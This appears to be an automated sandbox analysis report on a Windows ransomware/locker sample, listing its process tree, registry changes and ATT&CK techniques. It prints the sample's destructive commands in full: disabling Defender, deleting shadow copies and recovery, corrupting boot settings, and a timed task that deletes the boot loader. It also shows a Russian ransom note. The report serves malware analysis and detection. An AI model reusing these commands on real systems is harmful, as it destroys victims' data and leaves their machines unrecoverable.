PID 3108 wrote to memory of 2352	3108	cmd.exe	175
PID 3548 wrote to memory of 3080	3548	cmd.exe	130
PID 3548 wrote to memory of 4592	3548	cmd.exe	133
PID 3548 wrote to memory of 5740	3548	cmd.exe	134
PID 3548 wrote to memory of 3716	3548	cmd.exe	135
PID 3548 wrote to memory of 764	3548	cmd.exe	136
PID 3548 wrote to memory of 616	3548	cmd.exe	137
PID 3548 wrote to memory of 4836	3548	cmd.exe	138
PID 3548 wrote to memory of 4100	3548	cmd.exe	139
PID 3548 wrote to memory of 1756	3548	cmd.exe	142
PID 3548 wrote to memory of 3260	3548	cmd.exe	143
PID 3548 wrote to memory of 1304	3548	cmd.exe	144
PID 3548 wrote to memory of 700	3548	cmd.exe	145
PID 3548 wrote to memory of 5720	3548	cmd.exe	146
PID 3548 wrote to memory of 5644	3548	cmd.exe	147
PID 3548 wrote to memory of 2024	3548	cmd.exe	148
PID 3548 wrote to memory of 836	3548	cmd.exe	151
PID 3548 wrote to memory of 4348	3548	cmd.exe	152
PID 3548 wrote to memory of 5360	3548	cmd.exe	153
PID 3548 wrote to memory of 3780	3548	cmd.exe	154
PID 3548 wrote to memory of 3976	3548	cmd.exe	155
PID 3548 wrote to memory of 1804	3548	cmd.exe	156
PID 3548 wrote to memory of 4156	3548	cmd.exe	157
PID 3548 wrote to memory of 4864	3548	cmd.exe	158
PID 3548 wrote to memory of 4780	3548	cmd.exe	159
PID 3548 wrote to memory of 4380	3548	cmd.exe	160
PID 3548 wrote to memory of 4172	3548	cmd.exe	161
PID 3548 wrote to memory of 3512	3548	cmd.exe	162

System policy modification 1 TTPs 6 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	wscript.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" invisible.vbs runbat start.bat
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.bat" "
    3⤵
    - Drops file in Program Files directory
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2940
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1692
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:1888
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1720
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:5420
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4976
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KapibaraEncryptor.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5932
  - - C:\Windows\system32\timeout.exe
      timeout /t 3 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:3804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Documents" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:2080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Downloads" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:5468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Pictures" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:5724
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Music" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:5320
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Videos" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:4480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Program Files" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:4760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Program Files (x86)" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:688
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData" /deny Everyone:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:5144
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3128
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3392
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3204
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} timeout 0
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5344
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5008
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {globalsettings} advancedoptions false
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3744
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {globalsettings} bootuxdisabled Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4900
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {globalsettings} optionsedit No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3652
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4748
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f
      4⤵
      PID:4576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /enum firmware | findstr /i "recoverysequence"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /enum firmware
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:200
    - - C:\Windows\system32\findstr.exe
        
        findstr /i "recoverysequence"
        5⤵
        
        PID:2352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$part = Get-Partition | Where-Object { $_.Type -eq 'Recovery' }; if ($part) { Add-PartitionAccessPath -DiskNumber $part.DiskNumber -PartitionNumber $part.PartitionNumber -AccessPath 'R:' -ErrorAction SilentlyContinue; Remove-Item -Path 'R:\*' -Recurse -Force -ErrorAction SilentlyContinue; Remove-PartitionAccessPath -DiskNumber $part.DiskNumber -PartitionNumber $part.PartitionNumber -AccessPath 'R:' -ErrorAction SilentlyContinue }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:3080
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {globalsettings} bootmenupolicy Legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4592
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5740
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} timeout 0
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3716
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableBootMenu /t REG_DWORD /d 1 /f
      4⤵
      PID:764
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableBootingFromExternalMedia /t REG_DWORD /d 1 /f
      4⤵
      PID:616
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableUEFI /t REG_DWORD /d 1 /f
      4⤵
      PID:4836
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4100
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1756
  - - C:\Windows\system32\sc.exe
      sc config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:3260
  - - C:\Windows\system32\sc.exe
      sc stop VSS
      4⤵
      Launches sc.exe
      PID:1304
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:700
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
      4⤵
      PID:5720
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:5644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /enum firmware | findstr "identifier"
      4⤵
      Executes a command shell one-liner
      PID:2024
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /enum firmware
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:5316
    - - C:\Windows\system32\findstr.exe
        
        findstr "identifier"
        5⤵
        
        PID:5336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo bootmgr "
      4⤵
      PID:836
  - - C:\Windows\system32\findstr.exe
      findstr /i "fwbootmgr bootmgr"
      4⤵
      PID:4348
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\cdrom" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:5360
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3780
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
      4⤵
      PID:3976
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:1804
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      PID:4156
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      PID:4864
  - - C:\Windows\system32\manage-bde.exe
      manage-bde -status C:
      4⤵
      PID:4780
  - - C:\Windows\system32\findstr.exe
      findstr "Protection On"
      4⤵
      PID:4380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-Date -Format 'yyyy-MM-dd HH:mm:ss' | Out-File -FilePath 'C:\kapibara_start.txt' -Encoding ASCII"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$start = Get-Date (Get-Content C:\kapibara_start.txt); if (((Get-Date) - $start).TotalHours -ge 48) { takeown /f C:\Windows\Boot\EFI\bootmgfw.efi; icacls C:\Windows\Boot\EFI\bootmgfw.efi /grant *S-1-1-0:F; del C:\Windows\Boot\EFI\bootmgfw.efi -Force; bcdedit /createstore C:\empty.bcd; bcdedit /import C:\empty.bcd /clean; Remove-Item C:\kapibara_start.txt -Force; shutdown /r /t 5 }\"'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; Register-ScheduledTask -TaskName 'KapibaraTimerCheck' -Action $action -Trigger $trigger -Principal $principal -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\application1.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\application1.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4400
    - - C:\Users\Admin\AppData\Local\Mozilla\SecurityHealthSystray.exe
        
        C:\Users\Admin\AppData\Local\Mozilla\SecurityHealthSystray.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2376
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe
        6⤵
        
        PID:3404
      - C:\Program Files (x86)\Microsoft\Edge\Application\SecurityHealthSystray.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\SecurityHealthSystray.exe" -
        6⤵
        
        PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$code = '[DllImport(\"user32.dll\", CharSet=CharSet.Auto)] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);'; Add-Type -MemberDefinition $code -Name 'Wallpaper' -Namespace 'WinAPI'; [WinAPI.Wallpaper]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\wallpaper.png', 3)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Sets desktop wallpaper using registry
      Suspicious behavior: EnumeratesProcesses
      PID:1456
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yp5k0ib3\yp5k0ib3.cmdline"
        5⤵
        
        PID:5476
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3317.tmp" "c:\Users\Admin\AppData\Local\Temp\yp5k0ib3\CSCEA3D52B13D49418896E1C0135BFA896.TMP"
        6⤵
        
        PID:3524
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play1 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music1.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:2088
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:alert('Привет от зомбе тим!');close();"
      4⤵
      PID:2928
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\minify.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of FindShellTrayWindow
      PID:4476
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\application2.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\application2.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      PID:4696
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1696
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1268
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:2352
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1424
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1548
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:3940
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill.exe /im Explorer.exe /f
        5⤵
        Kills process with taskkill
        
        PID:4832
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4752
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:1812
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music3.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:3760
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:1484
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music3.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:4200
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"
      4⤵
      Enumerates connected drives
      Executes a VBScript file via the Windows Script Host.
      System policy modification
      PID:892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:3224

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:984

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry